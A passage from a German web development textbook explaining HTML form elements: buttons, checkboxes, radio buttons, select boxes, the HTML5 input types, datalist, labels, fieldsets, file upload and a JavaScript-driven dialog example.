                    Es kann entweder ein <input type="submit" ...> oder ein <button type="submit">... </button> eingesetzt werden. Der Unterschied zwischen den beiden Elementen liegt nicht in der Funktion, sondern in den Möglichkeiten, die man für die Beschriftung einsetzen kann: Ein <input type="submit" ...> erhält seine Beschriftung über das value-Attribut, ein <button type="submit">...</button> hingegen durch den Inhalt, der zwischen dem öffnenden und dem schließenden Tag steht, wodurch sich für den Button mehr Möglichkeiten in der Beschriftung ergeben, wie der folgende Code zeigt. Mein Tipp: Sollten Sie einen Button ohne viel Schnickschnack benötigen, so ist das <input>-Element die erste Wahl. Ansonsten darf’s gerne das <button>-Element sein.

                    <input type="submit" value="Ein Abschicken-Button">
<button type="submit">
    Ein<br>
    <strong>Abschicken</strong>-Button
</button>


                
                
                    Der Zurücksetzen- oder Reset-Button

                    Der Zurücksetzen- oder Reset-Button setzt sämtliche Eingaben des Users im Formular wieder zurück.

                    Üblicherweise wird der Reset-Button nur sehr selten zum Einsatz kommen. Das liegt weniger an seiner Funktionalität, gegen die an sich ja nichts spricht, sondern vielmehr an der Art und Weise, wie ein User mit Formularen umgeht, die er neu ausfüllen möchte: Er lädt die Seite entweder neu (»fortgeschrittener« User) oder er schließt das Browserfenster und ruft die Seite neu auf (»eher weniger fortgeschrittener« User).

                    Auch hier gilt, dass entweder ein <input> oder ein <button> eingesetzt werden kann.

                    <input type="reset" value="Inhalte zurücksetzen">


                
                
                    Die Checkbox

                    Eine Checkbox ist eine Art Bestätigungselement, das angekreuzt werden kann/soll/muss.

                    Hierbei gilt zu beachten, dass nur diejenigen Werte von Checkboxen als Formulardaten an den Server übermittelt werden, die auch tatsächlich angekreuzt wurden.

                    <input type="checkbox" name="..." value="(Wert, z. B. AGB)">


                    Radio-Buttons

                    Radio-Buttons stellen eine Art Auswahlmöglichkeit eines Wertes aus mehreren Möglichkeiten dar – sie bilden eine gemeinsame Gruppe von Werten.

                    <input type="radio" name="..." value="(einer von mehreren Werten, die zusammengehören; z. B. VISA)">


                    Um eine solche Gruppe von Radio-Buttons zu bilden, müssen Sie sämtlichen Radio-Buttons denselben Namen (name-Attribut) geben, was Sie im folgenden Beispiel zu Radio-Buttons sehen, in dem ein User eine von mehreren Zahlungsmöglichkeiten wählen können soll (siehe auch Abbildung 5.35):

                    <input type="radio" name="Zahlung" value="VISA">
<input type="radio" name="Zahlung" value="Mastercard">
<input type="radio" name="Zahlung" value="Paypal">


                    
                        [image: Radio-Buttons und Checkbox]

                        Abbildung 5.35    
            Radio-Buttons und Checkbox

                    
                    Zu den Radio-Buttons sei noch Folgendes gesagt:

                    
                        	
                            Möchten Sie, dass bei Radio-Buttons einer der vorgegebenen Werte vorausgewählt angezeigt wird, so müssen Sie das Attribut checked verwenden, also z. B.:

                            <input type="radio" name="Zahlung" value="Paypal" checked> 


                        

                        	
                            Sobald eine Möglichkeit ausgewählt ist, kann der User dies nicht mehr rückgängig machen – er kann lediglich eine andere Auswahl treffen.

                        

                    

                    Ein »Deaktivieren« bzw. »Rückgängigmachen« ist nicht möglich, außer man ruft das Dokument im Browser erneut auf bzw. aktualisiert das Dokument im Browser.

                
                
                    Die Textarea

                    Ein größeres Textfeld wird mithilfe einer Textarea realisiert, die (beinahe) beliebig viel Text aufnehmen kann. Anders als beim <input>-Element existiert hier jedoch ein öffnendes und ein schließendes Tag:

                    <textarea name="..."></textarea>


                    Im Falle einer textarea müssen Sie den vorab ausgefüllten Wert zwischen das beginnende und das endende <textarea> schreiben, also z. B. <textarea name="Nachricht"> Bitte geben Sie Ihre Nachricht hier ein</textarea>, da dieses Tag wie beschrieben einen öffnenden und einen schließenden Teil besitzt.

                
                
                    Die Select-Box

                    Eine Dropdown-Liste bzw. Select-Box ermöglicht die Auswahl eines Wertes aus mehreren möglichen Werten.

                    Möchten Sie das obige Beispiel der Radio-Buttons mit einer Select-Box realisieren, so würde der nötige Code wie folgt aussehen:

                    <select name="Zahlung">
    <option value="VISA">Zahlung mit VISA</option>
    <option value="Mastercard">Zahlung mit Mastercard</option>
    <option value="Paypal">Zahlung via Paypal</option>
</select>


                    Ein paar Worte zu der Dropdown-Box:

                    
                        	
                            Eine Dropdown-Box hat immer einen Wert, da in jedem Fall ein Wert aus der Liste ausgewählt ist. Möchte man einen leeren Wert ermöglichen, so empfiehlt sich ein zusätzliches Optionsfeld <option>Bitte wählen Sie aus</option> als erstes Optionsfeld innerhalb des <select>.

                        

                        	
                            Möchten Sie vorab einen Wert auswählen, müssen Sie im jeweiligen <option> das Attribut selected verwenden, also z. B.:

                            <option value="Paypal" selected>Zahlung via Paypal</option> 


                        

                    

                    Weiters besteht auch die Möglichkeit, mehr als nur eine Option innerhalb des <select> auszuwählen: Hierzu werden sogenannte Mehrfachauswahl-Boxen eingesetzt. Sie werden genauso wie die obig genannten Dropdown-Boxen realisiert, jedoch unter Zuhilfenahme des zusätzlichen Attributs multiple:

                    <select name="Zielland" multiple>
    <option value="AT">Österreich</option>
    <option value="IT">Italien</option>
    <option value="GB">England</option>
    <option value="ES">Spanien</option>
</select>


                    
                        [image: Select-Boxen für die Einfach- oder Mehrfachauswahl]

                        Abbildung 5.36    
            Select-Boxen für die Einfach- oder Mehrfachauswahl

                    
                
            
            
                Formularelemente seit HTML5

                Seit dem Einzug von HTML5 dürfen Sie auf mehr inhaltsbezogene Elemente als noch in HTML4 zurückgreifen. Hierdurch wird es möglich, die Eingaben des Users einzuschränken, wodurch Eingabefehler vermieden werden sollen. Das folgende Beispiel illustriert dies. Angenommen, der User muss eine E-Mail-Adresse eingeben, so könnten Sie die Eingabe auf mehrere Arten fordern:

                
                    	
                        Variante »HTML 4«: Es kommt ein Eingabeelement vom Typ text zum Einsatz:

                        <input type="text" name="E-Mail-Adresse"> 


                        Jetzt ist uns allen klar, dass eine Texteingabe auch die Eingabe einer fehlerhaften E-Mail-Adresse zur Folge haben könnte: Der User könnte anstatt von test@test.at auch test.test.at eingeben – im Falle eines Textfeldes bliebe diese Eingabe ohne Konsequenzen, da ein Textfeld eben einen jeden Text erlaubt. Dass es sich bei der geforderten Eingabe um eine E-Mail-Adresse handeln soll, kann HTML (und somit der Browser) nicht wissen.

                    

                    	
                        Variante »HTML 5«: Es wird nun ein (Text-)Eingabeelement verwendet, das jedoch die Eingabe einer E-Mail-Adresse fordert:

                        <input type=" email" name="E-Mail-Adresse"> 


                    

                

                
                    [»]  Die syntaktische Überprüfung bei E-Mail-Adressen

                    Bei der Überprüfung einer E-Mail-Adresse findet lediglich eine syntaktische Überprüfung statt. Mit anderen Worten, es wird lediglich geprüft, ob die Schreibweise der E‐Mail-Adresse auf eine gültige E-Mail-Adresse hindeutet. Ob eine eingegebene E‐Mail-Adresse tatsächlich existiert, kann vom Browser – auch aus technischer Sicht – nicht beantwortet werden.

                

                
                    Das type-Element

                    Würden Sie das obige Beispiel testen, so wären Sie wahrscheinlich irritiert, denn das Formular ließe sich auch ohne Eingabe einer E-Mail-Adresse abschicken. Dennoch ist eine leere E-Mail-Adresse keine gültige E-Mail-Adresse. Würden Sie jedoch versuchen, eine ungültige E-Mail-Adresse einzugeben, so würde sich der Browser zu einer Fehlerausgabe hinreißen lassen (siehe Abbildung 5.37).

                    Die Überprüfung einer gültigen E-Mail-Adresse basiert vorrangig auf zwei möglichen Schreibweisen: name@domain oder name@domain.tld. Wie Sie sehen, ist die Top-Level Domain bei der Eingabe nicht zwingend, was an sich etwas irritierend ist.

                    
                        [image: Die syntaktische Überprüfung von Eingabefeldern verhindert eine fehlerhafte Eingabe.]

                        Abbildung 5.37    
            Die syntaktische Überprüfung von Eingabefeldern verhindert eine fehlerhafte Eingabe.

                    
                    
                        [»]  Das E-Mail-Adressfeld verfeinern (für Fortgeschrittene)

                        Das E-Mail-Feld lässt sich noch weiter verfeinern, und zwar über die minlength- und maxlength-Attribute (sie erzwingen eine minimale und maximale Länge, wie z. B. 6 bis 64 Zeichen) und das pattern-Attribut (es erzwingt eine bestimmte Schreibweise; Regular Expression). Bitte bedenken Sie, dass es nur im ersten Moment den Anschein hat, man könne recht einfach ein Regelwerk für eine gültige Schreibweise einer E‐Mail-Adresse finden! Wenn das Thema Sie interessiert, finden Sie etwa unter https://www.regular-expressions.info/email.html eine sehr gute Diskussion dieses Themas.

                        Weiters können Sie in E-Mail-Felder auch mehrere E-Mail-Adressen (durch Kommas getrennt) eingegeben, und zwar mithilfe des multiple-Attributs. Sollten Sie eine Liste vorgegebener E-Mail-Adressen angeben wollen, so könnten Sie auf das list-Attribut zurückgreifen. Details zu den unterschiedlichen Möglichkeiten finden Sie etwa auf der Developer-Site von Mozilla unter https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/email.

                    

                    Die maximale Länge einer E-Mail-Adresse ist übrigens wie folgt festgelegt: maximal 64 Zeichen vor dem @-Zeichen, danach maximal 255 Zeichen für die Domain (TLD, SLD etc.), womit wir bei maximal 320 Zeichen (inklusive @) liegen. Demgegenüber existiert jedoch für den Einsatz von E-Mail-Adressen (z. B. beim Mailversand) eine weitere Restriktion, die besagt, dass eine E-Mail-Adresse maximal 256 Zeichen lang sein darf (siehe https://www.rfc-editor.org/rfc/rfc2821#section-4.5.3.1) – also stellen 256 Zeichen die maximale Länge dar. Die minimale Länge liegt bei drei Zeichen, da minimal der Name, das @-Zeichen und die Domain angegeben werden müssen, wobei Name und Domain aus mindestens einem Zeichen bestehen müssen: a@b wäre somit eine gültige E-Mail-Adresse. Üblich sind drei Zeichen oder 256 Zeichen für eine E-Mail-Adresse natürlich nicht.

                    Ein anderes Beispiel wäre etwa die Eingabe einer Telefonnummer. Einerseits steht uns an dieser Stelle der Typ tel zur Verfügung, andererseits sehen wir im Falle mobiler Endgeräte einen (vielleicht sogar noch wesentlicheren) Effekt: Je nach Eingabemöglichkeit, die durch das type-Attribut zum Teil vorgegeben wird, ändert sich die Bildschirmtastatur-Darstellung. Bei der Eingabe von Telefonnummern werden natürlich andere Zeichen benötigt als bei der Eingabe einer E-Mail-Adresse oder einer URL.

                    
                        [Info]  Progressive Enhance

                        Der Effekt, dass sich je nach geforderter Eingabe die Darstellung der Bildschirmtastatur ändert, nennt man Progressive Enhance. Darauf gehe ich in Kapitel 8 über Responsive Webdesign noch genauer ein.

                    

                    Die logische Konsequenz daraus ist, dass die fehlerhaften Eingaben durch den User reduziert werden können, je genauer wir spezifizieren, welche Eingabe wir von ihm erwarten. Auch kann eine Suchmaschine wiederum besser erkennen, was in dieses Feld eingegeben werden muss, und versteht die Seite dadurch besser.

                    Die Möglichkeiten unterschiedlicher type-Angaben sind in den letzten Jahren stark gewachsen, weshalb ich Ihnen in Tabelle 5.9 eine unvollständige Übersicht der aktuell erlaubten (semantisch bedeutsamen) Werte für Eingabefelder liefere. Die Tabelle ist in der Reihenfolge der (subjektiv wahrgenommenen) Wichtigkeit sortiert. Gehen Sie jedoch davon aus, dass sich diese Auflistung im Laufe der Zeit ändern wird. Abbildung 5.38 und Abbildung 5.39 illustrieren die type-Angaben mit Scrrenshots.

                    
                        
                            
                                	
                                    type

                                
                                	
                                    Beispiel

                                
                                	
                                    Erklärung

                                
                                	
                                    korrekte Eingaben

                                
                                	
                                    falsche Eingaben

                                
                            

                        
                        
                            
                                	
                                    text
password
search

                                
                                	
                                    <input  type="text" name="VN">

                                    <input type="password" name="P">

                                    <input  type="search" name="S">

                                
                                	
                                    Erlaubt die Eingabe sämtlicher Zeichen.

                                
                                	
                                    Uwe, test@test.at, 123.05, #ffc

                                
                                	
                                    –

                                
                            

                            
                                	
                                    email

                                
                                	
                                    <input  type="email" name="E">

                                
                                	
                                    Nur E-Mail-Adressen der Form name@domain bzw. name@ domain.tld sind erlaubt.

                                
                                	
                                    a@b, test@test.at, uwe.mutz@syne.at, tom@österreich.at

                                
                                	
                                    test.test.at, t@

                                
                            

                            
                                	
                                    date

                                    (siehe auch  datetime-local, time, week, month)

                                
                                	
                                    <input  type="date" name="GebD">

                                
                                	
                                    Erwartet die Eingabe eines Datums; üblicherweise wird ein Date Picker dargestellt.

                                
                                	
                                    je nach Datumsformat unterschiedlich; z. B. 17.10.1972

                                
                                	
                                    10/17/72 in AT oder DE, 1972-10-17 in AT oder DE

                                
                            

                            
                                	
                                    tel

                                
                                	
                                    <input  type="tel"  name="T">

                                
                                	
                                    Erwartet die Eingabe einer Telefonnummer, prüft jedoch kein spezielles Muster ab.

                                
                                	
                                    0676 1234567, +43 676 1234567, 0676/1234567

                                
                                	
                                    –

                                
                            

                            
                                	
                                    url

                                
                                	
                                    <input  type="url"  name="URL">

                                
                                	
                                    Erwartet die Eingabe einer URL.

                                
                                	
                                    http://www.syne.at, https://www.syne.at

                                
                                	
                                    www.syne.at

                                
                            

                        
                    

                    Tabelle 5.9    
            Auflistung der (subjektiv) wichtigsten Eingabefelder mit unterschiedlichen type-Bedeutungen

                    
                        [»]  Länderspezifische Datumsformate

                        Bitte bedenken Sie an dieser Stelle, dass die Formate für die Darstellung des Datums von Land zu Land unterschiedlich sind: Im deutschsprachigen Raum verwenden wir etwa zwei Stellen für den Tag, danach einen Punkt, danach zwei Stellen für den Monat, danach wieder einen Punkt und danach entweder zwei Stellen (dd.mm.YY) oder vier Stellen (dd.mm.YYYY) für das Jahr:

                        17.10.72 oder 17.10.1972

                        Ziehen Sie aber beispielsweise nach Italien, so müssten Sie zwei Stellen für den Monat, danach einen Schrägstrich, danach zwei Stellen für den Tag, danach einen Schrägstrich und danach zwei Stellen (mm/dd/YY) oder vier Stellen Stellen (mm/dd/YYYY) für das Jahr eingeben:

                        10/17/72 bzw. 10/17/1972

                    

                    
                        [»]  Überprüfung der Telefonnummern-Syntax

                        Auch an dieser Stelle gilt es wieder einmal regionale Unterschiede zu berücksichtigen, da das erlaubte Format von Telefonnummern quer über den Globus gesehen sehr unterschiedlich ist. Aus diesem Grund wird die Eingabe einer Telefonnummer nur dann geprüft, wenn ein Muster (das pattern-Attribut) für eine korrekte Telefonnummer hinterlegt ist.

                    

                    Beachten Sie bitte, dass die Darstellung der Elemente je nach Browser unterschiedlich ausfallen kann und auch wird. Dies wird insbesondere bei Date Pickern oder auch dem range-Typ sichtbar.

                    
                        [image: Eine Auswahl der wichtigsten <input>-Elementtypen]

                        Abbildung 5.38    
            Eine Auswahl der wichtigsten <input>-Elementtypen

                    
                    
                        [image: Weniger bedeutsame Typen von <input>-Elementen]

                        Abbildung 5.39    
            Weniger bedeutsame Typen von <input>-Elementen

                    
                
                
                    Die Datalist

                    Ein etwas spezielleres Formularelement stellt die Datalist dar. Betrachtet man eine Select-Box etwas genauer, so zeigt sich ein wesentlicher Nachteil von ihr: Es können lediglich vorgegebene Werte ausgewählt werden – eigene Werte kann man nicht eingeben. Denken Sie beispielsweise an ein Formularfeld, in dem Sie nach Ihrer Lieblingssportart gefragt werden. Da gäbe es nun zwei Möglichkeiten, dies umzusetzen:

                    
                        	
                            Ein Textfeld mit einer freien Eingabemöglichkeit: Natürlich kann in ein solches Feld jeder beliebige Text eingegeben werden. Wird die Eingabe später jedoch (z. B. in einer Datenbank) weiterverarbeitet, so entsteht hier schnell eine Unmenge unterschiedlicher Schreibweisen für ein und dieselbe Sportart: »Klettern«, »Free Climbing«, »Klettersport« etc. Aus diesem Grund gibt man gerne Auswahlmöglichkeiten vor, womit wir bei Möglichkeit 2 wären.

                        

                        	
                            Eine Select-Box, in der (hoffentlich) alle Sportarten aufgelistet werden. Sollte dennoch eine Sportart fehlen, so hat der User ein (Eingabe-)Problem.

                        

                    

                    Abhilfe schafft hier (seit HTML 5) die Kombination eines Eingabeelements mit einer Datalist. Mithilfe des Tags <datalist> und den zugehörigen Auswahlmöglichkeiten (wie bei der Select-Box mit <option> dargestellt) kann man eine Auswahlliste erzeugen, die einem Eingabeelement zugewiesen wird:

                    <input type="text" name="Sportart" list="Sportarten">
<datalist id="Sportarten">
    <option>Klettern</option>
    <option>Kajakfahren</option>
    <option>Fussball</option>
    <option>Handball</option>
    <option>Kraftsport</option>
</datalist>


                    Über das list-Attribut im Eingabefeld wird auf das id-Attribut der jeweiligen Datalist verwiesen, wodurch die beiden Elemente eine Verbindung eingehen. Das Schöne an einer Datalist ist, dass sie nicht auf Text-Eingabefelder beschränkt ist: Man könnte auch genauso gut an ein Buchungsformular eines Restaurants denken, in dem ab 11 Uhr bis 14 Uhr jeweils im Halbstundentakt ein Tisch reserviert werden kann:

                    <input type="time" name="Uhrzeit" list="Halbstunden">
<datalist id="Halbstunden">
    <option>11:00</option>
    <option>11:30</option>
    <option>12:00</option>
    <option>12:30</option>
    <option>13:00</option>
    <option>13:30</option>
    <option>14:00</option>
</datalist>


                    Die Datalist ist also eine recht universelle Möglichkeit, Auswahlmöglichkeiten vorzugeben, aber auch eigene Eingaben zu erlauben.

                
            
        
        
            5.9.4    Mehr Übersicht, mehr Restriktion: Formularfeld-Attribute

            Neben den Attributen, die Sie bereits kennengelernt haben (type, name, list) gibt es noch eine Reihe mehr, die einerseits dem User ein wenig mehr Klarheit bringen sollen, was einzugeben ist, aber andererseits die Möglichkeiten der User-Eingabe etwas mehr einschränken. Tabelle 5.10 zeigt die wichtigsten Attribute, sortiert nach deren (wieder mal subjektiv wahrgenommener) Wichtigkeit.

            
                
                    
                        	
                            Attribut

                        
                        	
                            Erklärung

                        
                        	
                            Erlaubt oder nicht?

                        
                    

                
                
                    
                        	
                            required

                        
                        	
                            Deklariert ein Feld als Pflichtfeld.

                        
                        	
                            Erlaubt in sämtlichen <input>-Elementen, bei denen eine Eingabe möglich ist (also nicht möglich bei button-artigen, Radio- und Checkbox-Elementen sowie einigen weiteren Eingabetypen); <textarea>

                        
                    

                    
                        	
                            placeholder

                        
                        	
                            Stellt einen Platzhaltertext dar, der dann verschwindet, wenn der User etwas in das Feld schreibt.

                        
                        	
                            Nicht möglich bei Feldern, die keine Eingabe ermöglichen; auch nicht möglich bei Datums- oder ähnlichen Elementen.

                        
                    

                    
                        	
                            readonly

                        
                        	
                            Kennzeichnet das Feld als »nur lesbar«: Damit ist keine Eingabe durch den User möglich.

                        
                        	
                            Nicht möglich bei Feldern, die keine Eingabe ermöglichen; auch nicht möglich bei Datums- oder ähnlichen Elementen.

                        
                    

                    
                        	
                            disabled

                        
                        	
                            Kennzeichnet ein Element als »nicht verwendbar«.

                        
                        	
                            Erlaubt in Buttons, Select-Boxen samt den Optionen darin, Textareas und Input-Elementen.

                        
                    

                    
                        	
                            autofocus

                        
                        	
                            Gibt einem Element den Fokus: Im Fall von Eingabefeldern wird der Cursor in das Feld gesetzt.

                        
                        	
                            Globales Attribut; somit verfügbar für sämtliche HTML-Elemente.

                        
                    

                    
                        	
                            autocomplete

                        
                        	
                            Lässt zu, dass der Browser eine automatische Vervollständigung der Eingabe des Users vornimmt. Dies kann über den Wert off verhindert werden.

                        
                        	
                            Erlaubt in textuellen und numerischen Eingabefeldern, Textareas und Select-Boxen.

                        
                    

                
            

            Tabelle 5.10    
            Attribute für Formulare (unvollständig, aber dennoch eine sinnvolle Auswahl)

            Eine vollständige Auflistung aller Attribute finden Sie wie üblich auf der Developer-Website von Mozilla unter https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes. Die Liste ist beeindruckend lang – ein Blick darauf lohnt sich.

        
        
            5.9.5    Für den User und die Suchmaschinen: Beschriftung von Eingabeelementen

            Wahrscheinlich haben Sie – genau wie ich auch – bis jetzt die Beschriftung von Formularelementen vermisst. Zwar besitzen diese einen Namen, jedoch hat das mit der Beschriftung nichts zu tun.

            Das Thema der Beschriftung verhält sich ähnlich wie bei den Bildern, wo wir ein eigenes Beschriftungselement vorgefunden haben. Im Falle von Formularelementen ist dies das <label>, das auf zwei Arten verwendet werden darf:

            
                	
                    Entweder man umschließt das Feld samt Beschriftung durch das <label>

                

                	
                    oder man trennt die Beschriftung und das Feld als eigenständige Elemente voneinander.

                

            

            Betrachten wir zunächst den ersten Fall:

            <label>
    Ihr Vorname:
    <input type="text" name="VN">
</label>


            Ein Blick auf den Code genügt, und man weiß, dass die Beschriftung »Ihr Vorname« zum Eingabeelement gehört. Der Grund hierfür ist überwiegend der, dass der Beschriftungstext und das Eingabeelement von einem weiteren Element (dem <label>) umschlossen werden und dadurch eine Art Gruppe bilden.

            Im folgenden Code wäre die Sache nicht mehr so klar:

            <label>Ihr Vorname:</label>
<input type="text" name="VN">


            Zugegebenermaßen könnte man schon erahnen, dass die beiden Tags irgendwie zusammengehören – vor allem deshalb, da sie im HTML-Code untereinander stehen. Was wäre aber, wenn dies geschehen würde:

            <div>
    <label>Ihr Vorname:</label>
</div>
<div>
    <input type="text" name="VN">
</div>


            Nun wäre die Sachlage gar nicht mehr so klar. Dieser misslichen Lage können Sie entkommen, wenn Sie das <label> und das zugehörige Eingabeelement miteinander in Beziehung setzen, indem Sie dem <label> ein for-Attribut zuweisen, dessen Wert identisch mit dem Wert des id-Attributs des Eingabeelements ist:

            <label for="VN">Ihr Vorname:</label>
<input type="text" name="Vorname" id="VN">


            Diese Vorgehensweise ist natürlich auch erlaubt, wenn die Elemente <label> und <input> von anderen Tags – wie etwa einem <div> – umschlossen sind:

            <div>
    <label for="VN">Ihr Vorname:</label>
</div>
<div>
    <input type="text" name="VN" id="VN">
</div>


            Welche der beiden Varianten zum Einsatz kommt, spielt zunächst einmal keine Rolle. Erst in Hinblick auf eine etwaige Formatierung werden Sie erkennen, dass entweder die eine oder die andere Variante zu bevorzugen ist. Dennoch hängt dies wirklich vom Anwendungsfall ab und kann nicht pauschal abgehandelt werden.

            
                [ ! ]  Eine id muss eindeutig sein

                Das id-Attribut stellt einen Unique Identifier dar, weshalb der Wert des id-Attributs pro Webseite eindeutig sein muss.

            

        
        
            5.9.6    Ein wenig Übersicht tut gut: Wie Sie Formulare in mehrere Abschnitte gliedern

            Nicht selten sieht man sich vor die Aufgabe gestellt, ein doch recht umfassendes und somit langes Formular erzeugen zu müssen. Um nicht völlig in der Unübersichtlichkeit unterzugehen, gliedert man ein Formular gerne in einzelne Abschnitte. Diese können einerseits thematisch sein oder andererseits auch die Verarbeitungsschritte in beispielsweise einem Onlineshop darstellen:

            
                	
                    thematisch: »Logindaten«, »Persönliche Daten« etc. oder »Pflichteingaben«, »freiwillige Eingaben«

                

                	
                    als Verarbeitungsschritte: »Warenkorbübersicht«, »Adresse«, »Versandart«, »Zahlungsart«, »Zusammenfassung und Bestätigung«

                

            

            HTML stellt uns hierfür das Tag <fieldset> zur Verfügung, das einen umgebenden Container als Art »Gruppe« erzeugt. Das Tag <legend> innerhalb des <fieldset> ist optional und stellt die Beschriftung des <fieldset> dar:

            <form>
    <fieldset>
        <legend>Pflichteingaben</legend>
        ...
    </fieldset>
    <fieldset>
        <legend>Freiwillige Angaben</legend>
        ...
    </fieldset>
    ...
</form>


            Ein paar Anmerkungen zu Fieldsets:

            
                	
                    Die Anzahl der <fieldset> ist frei wählbar – ganz nach dem Motto »Wie es eben Sinn macht«.

                

                	
                    Nicht alle Formularfelder müssen auch in ein <fieldset> gepackt werden. Beispielsweise könnte der Submit-Button auch außerhalb eines bestimmten <fieldset> platziert werden.

                

                	
                    Die Angabe einer <legend> ist – wie erwähnt – optional.

                

            

        
        
            5.9.7    Formulare aufgebohrt I: Datei-Upload

            Wie Sie nun erfahren haben bzw. wie Ihnen aus Ihrem Internet-Wissen höchstwahrscheinlich auch schon bekannt war, dienen Formulare dazu, Informationen, die der User eingibt, an den Betreiber der Website (auf irgendeine Art und Weise) zu übermitteln. In jedem Fall müssen die Daten serverseitig verarbeitet werden, weshalb für den Frontend-Entwickler die Arbeit an dieser Stelle getan ist und er die Backend-Entwicklerin für alles Weitere kontaktieren muss.

            Worüber wir uns jedoch noch keine Gedanken gemacht haben, ist die Frage, wie der User neben den (textuellen) Informationen auch Dateien übermitteln kann. Die Fragestellung lautet also: Wie kann der User Dateien hochladen? Dass die Antwort darauf »Na ja, mithilfe eines Formulars« lautet, scheint wenig überraschend. Wir haben ein Formular ja als die Schnittstelle zwischen dem User und dem Website-Betreiber im weitesten Sinne ausgemacht. Demnach liegt es nahe, ein bisschen tiefer in die Trickkiste zu greifen.

            Generell gilt: Wenn eine oder mehrere Dateien vom User ausgewählt und hochgeladen werden sollen, muss das Formular-Tag <form> zwei Bedingungen erfüllen:

            
                	
                    Die Datenübertragung muss mittels POST erfolgen:

                    <form method="post" ...> 


                

                	
                    Der MIME-Typ für die zu übermittelnden Daten muss entsprechend gewählt werden:

                    <form ... enctype="multipart/form-data"> 


                

            

            Somit ergibt sich für das <form> Folgendes:

            <form method="post" enctype="multipart/form-data">
    ...
</form>


            Nun ist unser Formular einmal dafür gerüstet, dass Dateien (mit-)übertragen werden können. Damit unser User dann auch eine oder mehrere Dateien aus seinem Dateisystem auswählen kann, benötigen wir ein Eingabe-Element, das uns den Zugriff auf das Dateisystem ermöglicht:

            <input type="file" name="...">

            Bedenken Sie, dass ein jedes Formularelement zwingend ein name-Attribut benötigt, da der Inhalt ansonsten nicht an den Server übermittelt (oder in diesem Fall hochgeladen) wird.

            Ein einfaches Beispiel wäre etwa dieses, in dem der User dazu aufgefordert wird, eine Datei (in diesem Fall ein Bild) auszuwählen und hochzuladen:

            <form method="post" enctype="multipart/form-data">
    <label>
        Bitte laden Sie Ihr Profilbild hoch:
        <input type="file" name="Profilbild">
    </label>
    <input type="submit" value="hochladen">
</form>


            Möchten wir, dass unser User mehr als nur eine Datei hochladen können soll, so nennt man dies einen Multiple Upload. Hierzu ist lediglich eine zusätzliche Angabe im name-Attribut notwendig:

            <input type="file" name="Profilbilder[]" multiple>

            Die Verwendung der eckigen Klammern deutet ein sogenanntes Array an, auf das Sie im Kapitel 7 über JavaScript noch stoßen werden.

            Ganz allgemein sei angemerkt, dass uns das Thema des Datei-Uploads noch sehr viel intensiver in der serverseitigen Programmierung beschäftigen wird (vgl. hierzu Abschnitt 11.13, »Formulare aufgebohrt: Datei-Upload«).

        
        
            5.9.8    Formulare aufgebohrt II: Dialoge

            Neben der Anwendung von Formularen als Art Kommunikationsmedium können diese im Rahmen von Websites auch als Dialogfenster verwendet werden. Derartige Dialoge werden immer dann benötigt, wenn man eine Art »Rücksprache« oder »Bestätigung« durch den User erhalten möchte.

            Werfen wir gleich einmal einen Blick auf ein konkretes Beispiel, damit wir sehen, wohin wir mit unseren bisherigen Fähigkeiten gelangen werden:

            <dialog>
    <p>Wollen Sie diesen Artikel wirklich aus Ihrem Warenkorb löschen?</p>
    <form method="dialog">
        <input type="submit" value="Ja">
    </form>
</dialog>


            Würden wir diesen Code in ein HTML-Dokument einbauen, geschieht gar nichts. Der Grund dafür ist, dass ein solcher Dialog eine Art »Auslöser« benötigt, um eingeblendet bzw. sichtbar zu werden. Und genau an dieser Stelle stehen wir an: Auslöser jedwelcher Art werden durch JavaScript realisiert, aber nicht durch HTML. Mit anderen Worten sind Dialoge erst dann sinnvoll, wenn wir unser Wissen um JavaScript erweitert haben.

            
                [image: Der eingeblendete Dialog lässt den User entscheiden, ob er den ausgewählten Text tatsächlich (vom Browserinhalt) löschen möchte.]

                Abbildung 5.40    
            Der eingeblendete Dialog lässt den User entscheiden, ob er den ausgewählten Text tatsächlich (vom Browserinhalt) löschen möchte.

            
            Ein funktionierendes Demonstrationsbeispiel sehen Sie in Abbildung 5.40. Sobald Sie auf den Button rechts neben einem Text klicken, werden Sie gefragt, ob der Text entfernt werden soll. Sollten Sie hingegen die (Esc)-Taste drücken, so wird abgebrochen.

            Der zugehörige Code sieht wie folgt aus:

            <!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<title>Dialog</title>
    <script src="../includes/js/jquery-3.7.0.min.js"></script>
    <script>


                    var elem = null;
 
        document.addEventListener("DOMContentLoaded",(ev) => {
            const dialog = document.querySelector("#Remove");
 
            $("button.del").on("click",function() {
                elem = $(this).closest("article");
                dialog.showModal();
            });
 
            $("#Remove [type=submit]").on("click",function(ev) {
                ev.preventDefault();
                dialog.close();
            });
 
            dialog.addEventListener("close",(ev) => {
                elem.remove();
            });
        });


                </script>
</head>
 
<body>
    <article>
        <p>Anfang Juli ist der Entwurf des Nationalen Energie- und Klimaplans (NEKP) präsentiert worden, mit dem Österreich die EU-Klimazielsetzungen noch klar verfehlen würde. Umweltministerin Leonore Gewessler (Grüne) bat damals um "konkrete Vorschläge" zum Lückenschluss beim CO2-Ausstoß. Die Frist für schriftliche Stellungnahmen der Stakeholder endet heute - und die Antworten waren zahlreich.</p>
        <button class="del">x</button>
    </article>
    <article>
        <p>Österreichs erfolgreichster Beachvolleyballer Clemens Doppler hat heute angekündigt, seine Karriere zu beenden. "Nach 24 Jahren im Spitzensport darf ich sagen 'Life was a beach' und meinen Rücktritt als Beachvolleyballer bekanntgeben", sagte der zweifache Europameister und WM-Silbermedaillengewinner.</p>
        <button class="del">x</button>
    </article>
    <article>
        <p>Ein Bademeister soll im Stadtbad Steyr in Oberösterreich einen Burschen vom Zehnmeterturm gestoßen haben. Der Mann soll das auch selber zugegeben haben. Jetzt ist es fix: Der Bademeister wird in Zukunft nicht mehr für die Stadt Steyr arbeiten.</p>
        <button class="del">x</button>
    </article>
    <dialog id="Remove">
        <p>Wollen Sie diesen Text löschen?</p>
        <form>
            <input type="submit" value="Ja">
        </form>
    </dialog>
</body>
</html>


            Haben Sie Lust auf mehr Programmierung bekommen? Kapitel 7 wird Ihr Herz höher schlagen lassen. In diesem Kapitel werden Sie auch einige Standard-Dialogfenster (alert, confirm, prompt) kennenlernen, die Sie »zur Not« verwenden können und werden. Ein Ersatz für diese unliebsamen Standarddialoge wäre etwa der Einsatz von <dialog>. Behalten Sie’s im Hinterkopf.

        
        
            5.9.9    Formulare aufgebohrt III: Suchbereiche

